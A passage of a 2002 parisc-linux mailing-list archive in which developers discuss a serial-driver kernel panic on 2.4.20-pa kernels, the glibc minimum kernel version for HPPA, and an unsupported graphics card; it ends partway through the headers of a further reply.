Message-ID: <3DEF1B6F.1573C841@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------11B10191D25EDD401FC846C9"
X-Trace: ger.gmane.org 1416621997 18368 80.91.229.3 (22 Nov 2014 02:06:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:37 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 02:26:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 189154829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 02:26:28 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9846C157D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 10:25:04 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA08882 for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Dec 2002 10:23:10 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17022

This is a multi-part message in MIME format.
--------------11B10191D25EDD401FC846C9
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpJJ20gY29tcGlsaW5nIGEgbmV3IGtlcm5lbCwgYnV0IGl0IHBhbmljIHdoaWxl
IGRvaW5nICJzZXQgc2VyaWFsIjoNCg0KU2VyaWFsIGRyaXZlciB2ZXJzaW9uIDUuMDVjICgy
MDAxLTA3LTA4KSB3aXRoIE1BTllfUE9SVFMgU0hBUkVfSVJRIFNFUklBTF9QQ0kgZW5hYmxl
ZA0KUmVkdW5kYW50IGVudHJ5IGluIHNlcmlhbCBwY2lfdGFibGUuICBQbGVhc2Ugc2VuZCB0
aGUgb3V0cHV0IG9mDQpsc3BjaSAtdnYsIHRoaXMgbWVzc2FnZSAoMTAzYywxMDQ4LDEwM2Ms
MTA0OSkNCmFuZCB0aGUgbWFudWZhY3R1cmVyIGFuZCBuYW1lIG9mIHNlcmlhbCBib2FyZCBv
ciBtb2RlbSBib2FyZA0KdG8gc2VyaWFsLXBjaS1pbmZvQGxpc3RzLnNvdXJjZWZvcmdlLm5l
dC4NCnR0eVMwMCBhdCBpb21lbSAweGZmZmZmZmZmZjgwMDAwMDAgKGlycSA9IDEzMikgaXMg
YSAxNjU1MEENCnR0eVMwMSBhdCBpb21lbSAweGZmZmZmZmZmZjgwMDAwMDggKGlycSA9IDEz
MikgaXMgYSAxNjU1MEENCnR0eVMwMiBhdCBpb21lbSAweGZmZmZmZmZmZjgwMDAwMTAgKGly
cSA9IDEzMikgaXMgYSAxNjU1MEENClJlZHVuZGFudCBlbnRyeSBpbiBzZXJpYWwgcGNpX3Rh
YmxlLiAgUGxlYXNlIHNlbmQgdGhlIG91dHB1dCBvZg0KbHNwY2kgLXZ2LCB0aGlzIG1lc3Nh
Z2UgKDEwM2MsMTA0OCwxMDNjLDEwNGEpDQphbmQgdGhlIG1hbnVmYWN0dXJlciBhbmQgbmFt
ZSBvZiBzZXJpYWwgYm9hcmQgb3IgbW9kZW0gYm9hcmQNCnRvIHNlcmlhbC1wY2ktaW5mb0Bs
aXN0cy5zb3VyY2Vmb3JnZS5uZXQuDQoNClN0YWNrIER1bXA6DQogMDAwMDAwMDA0ZmJiOTFj
MDogIDAwMDAwMGZmMDgwNGZmMGUgNmY3MDcxNzI3Mzc0NzU3NiAwMDAwMDAwMDEwMTNjNWM0
IDM4Mzk2MTYyNjM2NDY1NjYNCiAwMDAwMDAwMDRmYmI5MWEwOiAgMzAzMTMyMzMzNDM1MzYz
NyAwMDAwMDAwMDA4MDAwMDBmIDAwMDAwMDAwMDgwMDAwMGUgMDAwMDAwMDAxMDVjMWFkMA0K
IDAwMDAwMDAwNGZiYjkxODA6ICAwMDAwMDAwMDEwNWMxYWQwIGZmZmZmZmZmZmZmZmYxOGQg
MDAwMDAwMDAxMDZkZWMwOCAwMDAwMDAwMDEwNGQ2NmUwDQogMDAwMDAwMDA0ZmJiOTE2MDog
IDAwMDAwMDAwMTA2ZGVhYzggMDAwMDAwMDAxMDRkNjZkMCAwMDAwMDAwMDEwNmRlYWM4IDAy
ODAwMDAwMDAwMDAwMDINCiAwMDAwMDAwMDRmYmI5MTQwOiAgMDAwMDAwMDAxMDRiNjFmMCAw
MDAwMDAwMDEwNWMxYWQwIDAwMDAwMDAwMTAxM2NjOGMgMDAwMDAwMDAxMDVjMWFkMA0KS2Vy
bmVsIGFkZHJlc3NlcyBvbiB0aGUgc3RhY2s6DQogWzwwMDAwMDAwMDEwMTNjNWM0Pl0gIFs8
MDAwMDAwMDAxMDEzY2M4Yz5dICBbPDAwMDAwMDAwMTAyN2IzZTQ+XSAgWzwwMDAwMDAwMDEw
MjdiZDY0Pl0NCiBbPDAwMDAwMDAwMTAxYWI0YjQ+XSAgWzwwMDAwMDAwMDEwMzA4ZWJjPl0g
IFs8MDAwMDAwMDAxMDE0NTBjOD5dICBbPDAwMDAwMDAwMTAzMDhmYzA+XQ0KIFs8MDAwMDAw
MDAxMDI3YmY0Yz5dICBbPDAwMDAwMDAwMTAxMDAzYjQ+XSAgWzwwMDAwMDAwMDEwMTA4NDYw
Pl0gIFs8MDAwMDAwMDAxMDEwODUxOD5dDQogWzwwMDAwMDAwMDEwMTNjNWM0Pl0gIFs8MDAw
MDAwMDAxMDEzYzVjND5dICBbPDAwMDAwMDAwMTAxM2NjOGM+XSAgWzwwMDAwMDAwMDEwMTAw
Mzg4Pl0NCg0KU29ycnksIG15IGR1bXAgZHJpdmVyIGlzIG5vdCBpbml0aWFsaXNlZCBhdCB0
aGlzIHRpbWUgKEkgbXVzdCBhZGQgImVhcmx5IGR1bXAiIGZlYXR1cmUpLg0KSWYgeW91IGhh
dmUgYW55IGlkZWEgPyBUaGUgcHJldmlvdXMga2VybmVsOiAyLjQuMTktcGEyMiBib290IHdp
dGhvdXQgYW55IHByb2JsZW0uDQoNClRoYW5rcy4NCg0KLS0NCiAgICAgICAgVmlkYWwgQnJ1
bm8sICg3NzAtNDI3MSkNCiAgICAgICAgU1NELUhBIFRlYW0sIEhQLVVYICYgTElOVVggU3Vw
cG9ydA0KICAgICAgICBicnVub192aWRhbEBhZG1pbi5mcmFuY2UuaHAuY29tDQoNCg0K
--------------11B10191D25EDD401FC846C9
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------11B10191D25EDD401FC846C9--



From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: GNU/Libc 2.3.1 on HP-PARISC requires >= 2.4.19 kernel.
Date: Thu, 5 Dec 2002 13:31:39 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20021205133139.C5327__25146.3017696098$1416621998$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20021205010845.GU16331@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621998 18369 80.91.229.3 (22 Nov 2014 02:06:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:38 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	debian-glibc@lists.debian.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 06:31:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EA914829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 06:31:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Jw6N-0001vU-00; Thu, 05 Dec 2002 13:31:39 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021205010845.GU16331@systemhalted>; from carlos@baldric.uwo.ca on Wed, Dec 04, 2002 at 08:08:45PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17023

On Wed, Dec 04, 2002 at 08:08:45PM -0500, Carlos O'Donell wrote:
> What?
> =====
> During the changeover from GNU/Libc 2.2.x to 2.3.x HPPA has changed
> it's minimum GNU/Libc kernel version to 2.4.19.

I feel this was a mistake.

> Why?
> ====
> - More testing.
> - Bugs fixed in unaligned handlers.
> - Trap handler fixes.
> - More things than you can shake a stick at, and all thanks to the
>   wonderful kernel hacking team that parisc-linux has.

That's great, but there are still problems with 2.4.19 and 2.4.20.  I think
you're doing our users a disservice by requiring them to upgrade to 2.4.19.
Why not relax the minimum version requirement down to 2.4.17?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Abel Mamfoumby" <moumboungou@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Driver for A4071B on C100 workstation
Date: Thu, 05 Dec 2002 14:34:13 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <F129hxhabHzpJIhRcoA0000c96c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621998 18372 80.91.229.3 (22 Nov 2014 02:06:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:38 +0000 (UTC)
To: derekengelhaupt@rocketmail.com,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 06:34:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f12.law15.hotmail.com [64.4.23.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id C86F9484B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 06:34:19 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 5 Dec 2002 05:34:13 -0800
Original-Received: from 195.141.231.84 by lw15fd.law15.hotmail.msn.com with HTTP;
	Thu, 05 Dec 2002 13:34:13 GMT
X-Originating-IP: [195.141.231.84]
X-OriginalArrivalTime: 05 Dec 2002 13:34:13.0965 (UTC) FILETIME=[003F77D0:01C29C63]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17024

I don't know how I can do to use the internal port!






>From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
>To: Abel Mamfoumby 
><moumboungou@hotmail.com>,parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Driver for A4071B on C100 workstation
>Date: Thu, 28 Nov 2002 06:44:30 -0800 (PST)
>
>
>I had that same card in my C180 and couldn't get it to work.  You will 
>probably be better off using the internal graphics port on the C100.  The 
>internal port only yields 8 bit color, but I don't think that A4071B card 
>is supported at the moment.
>derek
>  Abel Mamfoumby <moumboungou@hotmail.com> wrote:Hello,
>I have just installed The Debian HPPA Linux 3.0r0 on my workstation C100 /
>9000. And I have the A4071B Graphics card. Unfortunately I can't configure
>X11. is there someone who can help me?
>ThankU
>
>Moumboungou
>
>
>
>
>
>_________________________________________________________________
>MSN Messenger : discutez en direct avec vos amis !
>http://www.msn.fr/msger/default.asp
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>---------------------------------
>Do you Yahoo!?
>Yahoo! Mail Plus - Powerful. Affordable. Sign up now


_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! 
http://www.msn.fr/msger/default.asp



From - Thu Nov 08 21:25:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] panic while "set serial" with 2.4.20-pa9
Date: Thu, 05 Dec 2002 14:41:33 +0100
Organization: H.P
Lines: 56
Approved: news@gmane.org
Message-ID: <3DEF578D.97EB4A73@admin.france.hp.com>
References: <3DEF1B6F.1573C841@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------55C7F9ECC99E2F5FC3E3B5CB"
X-Trace: ger.gmane.org 1416621998 18377 80.91.229.3 (22 Nov 2014 02:06:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:38 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 06:41:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D838484B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 06:41:42 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id C0B3616FB
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 14:41:35 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id OAA26187 for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Dec 2002 14:39:40 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17025

This is a multi-part message in MIME format.
--------------55C7F9ECC99E2F5FC3E3B5CB
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQoNCldoZW4gYm9vdCBpcyBzdWNjZXNzZnVsbCAod2l0aCAyLjQuMTktcGEyMiks
IGl0IGRpc2NvdmVyIDUgc2VyaWFsIGJvYXJkDQouLi4uDQouLi4uDQpSZWR1bmRhbnQgZW50
cnkgaW4gc2VyaWFsIHBjaV90YWJsZS4gIFBsZWFzZSBzZW5kIHRoZSBvdXRwdXQgb2YNCmxz
cGNpIC12diwgdGhpcyBtZXNzYWdlICgxMDNjLDEwNDgsMTAzYywxMDQ5KQ0KYW5kIHRoZSBt
YW51ZmFjdHVyZXIgYW5kIG5hbWUgb2Ygc2VyaWFsIGJvYXJkIG9yIG1vZGVtIGJvYXJkDQp0
byBzZXJpYWwtcGNpLWluZm9AbGlzdHMuc291cmNlZm9yZ2UubmV0Lg0KdHR5UzAwIGF0IGlv
bWVtIDB4ZmZmZmZmZmZmODAwMDAwMCAoaXJxID0gMTMyKSBpcyBhIDE2NTUwQQ0KdHR5UzAx
IGF0IGlvbWVtIDB4ZmZmZmZmZmZmODAwMDAwOCAoaXJxID0gMTMyKSBpcyBhIDE2NTUwQQ0K
dHR5UzAyIGF0IGlvbWVtIDB4ZmZmZmZmZmZmODAwMDAxMCAoaXJxID0gMTMyKSBpcyBhIDE2
NTUwQQ0KUmVkdW5kYW50IGVudHJ5IGluIHNlcmlhbCBwY2lfdGFibGUuICBQbGVhc2Ugc2Vu
ZCB0aGUgb3V0cHV0IG9mDQpsc3BjaSAtdnYsIHRoaXMgbWVzc2FnZSAoMTAzYywxMDQ4LDEw
M2MsMTA0YSkNCmFuZCB0aGUgbWFudWZhY3R1cmVyIGFuZCBuYW1lIG9mIHNlcmlhbCBib2Fy
ZCBvciBtb2RlbSBib2FyZA0KdG8gc2VyaWFsLXBjaS1pbmZvQGxpc3RzLnNvdXJjZWZvcmdl
Lm5ldC4NCnR0eVMwMyBhdCBpb21lbSAweGZmZmZmZmZmZjgwMDUwMDAgKGlycSA9IDEzMykg
aXMgYSAxNjU1MEENCnR0eVMwNCBhdCBpb21lbSAweGZmZmZmZmZmZjgwMDUwMDggKGlycSA9
IDEzMykgaXMgYSAxNjU1MEENCi4uLi4NCi4uLi4NCg0KTm93IHdoZW4gYm9vdGluZyB0aGUg
bGF0ZXN0IGtlcm5lbCAyLjQuMjAtcGExMA0KDQpLZXJuZWwgRmF1bHQ6IENvZGU9MjYgcmVn
cz0wMDAwMDAwMDRmYmIxMWMwIChBZGRyPTAwMDAwMDAwMDAwMDAwMDgpDQoNCklmIEkgdHJ5
IHRvIGRvIHNvbWUgc3RhY2sgdW53aW5kIGl0IGdpdmVzOg0KMHgxMDEzYzVjNCAgICBjYWxs
X2NvbnNvbGVfZHJpdmVycysweGM0DQoweDEwMTNjYzhjICAgIHJlbGVhc2VfY29uc29sZV9z
ZW0rMHgxNjQNCjB4MTAyN2IzZTQgICAgc3RhcnRfcGNpX3BucF9ib2FyZCsweGE0DQoweDEw
MjdiZDY0ICAgIHNlcmlhbF9pbml0X29uZSsweGFjDQoNCkl0IGlzIGEgdHJhcCAyNiAtPiBE
YXRhIE1lbW9yeSBBY2Nlc3MgcmlnaHQgdHJhcCBpbiBjYWxsX2NvbnNvbGVfZHJpdmVycygp
Lg0KV2hlbiBkaXNzYW1ibGU6DQoNCiAgYjg6ICAgMzcgZGQgM2YgZTEgICAgIGxkbyAtMTAo
c3ApLHJldDENCiAgYmM6ICAgZTggMDAgYTAgMDAgICAgIGIsbCBjNCA8Y2FsbF9jb25zb2xl
X2RyaXZlcnMrMHhjND4sJXIyDQogIGMwOiAgIDBlIDYwIDEwIDk4ICAgICBsZHcgMChzcjAs
cjE5KSxyMjQNCiAgYzQ6ICAgMDggMDYgMDIgNWIgICAgIGNvcHkgcjYsZHAgICAgLT4gcGFu
aWMgd2hpbGUgYWNjZXNzaW5nIGRwDQogIGM4OiAgIDUzIGMyIDNlIGUxICAgICBsZGQgLTkw
KHNwKSxycA0KDQpJZiBzb21lb25lIGFzIGFueSBpZGVhLi4uLi4uLi4NCg0KVGhhbmtzLg0K
DQoNCi0tDQogICAgICAgIFZpZGFsIEJydW5vLCAoNzcwLTQyNzEpDQogICAgICAgIFNTRC1I
QSBUZWFtLCBIUC1VWCAmIExJTlVYIFN1cHBvcnQNCiAgICAgICAgYnJ1bm9fdmlkYWxAYWRt
aW4uZnJhbmNlLmhwLmNvbQ0KDQoNCg==
--------------55C7F9ECC99E2F5FC3E3B5CB
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------55C7F9ECC99E2F5FC3E3B5CB--



From - Thu Nov 08 21:25:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: GNU/Libc 2.3.1 on HP-PARISC requires >= 2.4.19 kernel.
Date: Thu, 5 Dec 2002 10:39:49 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20021205153949.GB27054__40967.7254771397$1416621999$gmane$org@systemhalted>
References: <20021205010845.GU16331@systemhalted> <20021205133139.C5327@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621999 18379 80.91.229.3 (22 Nov 2014 02:06:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:39 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, debian-glibc@lists.debian.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Randolph Chung <tausq@debian.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 08:40:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 491AA4856
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 08:40:03 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Jy6Q-00074J-00; Thu, 05 Dec 2002 10:39:50 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, debian-glibc@lists.debian.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Randolph Chung <tausq@debian.org>
Content-Disposition: inline
In-Reply-To: <20021205133139.C5327@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (96% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17026

> > Why?
> > ====
> > - More testing.
> > - Bugs fixed in unaligned handlers.
> > - Trap handler fixes.
> > - More things than you can shake a stick at, and all thanks to the
> >   wonderful kernel hacking team that parisc-linux has.
> 
> That's great, but there are still problems with 2.4.19 and 2.4.20.  I think
> you're doing our users a disservice by requiring them to upgrade to 2.4.19.
> Why not relax the minimum version requirement down to 2.4.17?

I agree that it was probably a mistake at the time since 2.4.19 seemed
to solve a lot of problems... though in hindsight they are still too
unstable to push forward on all of our users.

Hrmm... *Carlos mulls for a few hours*

I'll relax it to 2.4.17 in debian, but I'll leave the upstream
requirement of 2.4.19.

c.



From - Thu Nov 08 21:25:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] panic while "set serial" with 2.4.20-pa9
